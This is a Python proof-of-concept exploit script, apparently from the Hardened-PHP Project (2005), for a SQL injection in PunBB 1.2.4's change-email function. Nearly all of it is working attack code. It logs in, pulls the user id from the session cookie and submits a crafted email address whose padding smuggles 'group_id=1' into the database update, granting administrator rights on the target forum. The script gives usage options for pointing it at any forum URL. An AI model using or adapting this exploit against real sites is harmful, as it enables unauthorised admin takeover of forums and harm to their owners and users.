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#!/usr/bin/python

#######################################################################

# _ _ _ _ ___ _ _ ___

# | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \

# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/

# |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_|

#

#######################################################################

# Proof of concept code from the Hardened-PHP Project

#######################################################################

#

# -= PunBB 1.2.4 =-

# change_email SQL injection exploit

#

# user-supplied data within the database is still user-supplied data

#

#######################################################################

import urllib

import getopt

import sys

import string

__argv__ = sys.argv

def banner():

print "PunBB 1.2.4 - change_email SQL injection exploit"

print "Copyright (C) 2005 Hardened-PHP Project\n"

def usage():

banner()

print "Usage:\n"

print " $ ./punbb_change_email.py [options]\n"

print " -h http_url url of the punBB forum to exploit"

print " f.e. http://www.forum.net/punBB/"

print " -u username punBB forum useraccount"

print " -p password punBB forum userpassword"

print " -e email email address where the admin leve activation email is sent"

print " -d domain catch all domain to catch \"some-SQL-Query\"@domain emails"

print ""

sys.exit(-1)

def main():

try:

opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:")

except getopt.GetoptError:

usage()

if len(__argv__) < 10:

usage()

username = None

password = None

email = None

domain = None

host = None

for o, arg in opts:

if o == "-h":

host = arg

if o == "-u":

username = arg

if o == "-p":

password = arg

if o == "-e":

email = arg

if o == "-d":

domain = arg

# Printout banner

banner()

# Check if everything we need is there

if host == None:

print "[-] need a host to connect to"

sys.exit(-1)

if username == None:

print "[-] username needed to continue"

sys.exit(-1)

if password == None:

print "[-] password needed to continue"

sys.exit(-1)

if email == None:

print "[-] email address needed to continue"

sys.exit(-1)

if domain == None:

print "[-] catch all domain needed to continue"

sys.exit(-1)

# Retrive cookie

params = {

'req_username' : username,

'req_password' : password,

'form_sent' : 1

}

wclient = urllib.URLopener()

print "[+] Connecting to retrieve cookie"

req = wclient.open(host + "/login.php?action=in", urllib.urlencode(params))

info = req.info()

if 'set-cookie' not in info:

print "[-] Unable to retrieve cookie... something is wrong"

sys.exit(-3)

cookie = info['set-cookie']

cookie = cookie[:string.find(cookie, ';')]

print "[+] Cookie found - extracting user_id"

user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie, "%22%3B")]

print "[+] User-ID: %d" % (int(user_id))

wclient.addheader('Cookie', cookie);

email = '"' + email[:string.find(email, '@')] + '"@' + email[string.find(email, '@')+1:] + ',"\','

append = 'group_id=\'1'

email = email + ( ((50-len(append))-len(email)) * ' ' ) + append + '"@' + domain

params = {

'req_new_email' : email,

'form_sent' : 1

}

print "[+] Connecting to request change email"

req = wclient.open(host + "profile.php?action=change_email&id=" + user_id, urllib.urlencode(params))

print "[+] Done... Now wait for the email. Log into punBB, go to the link in the email and become admin"

if __name__ == "__main__":

main()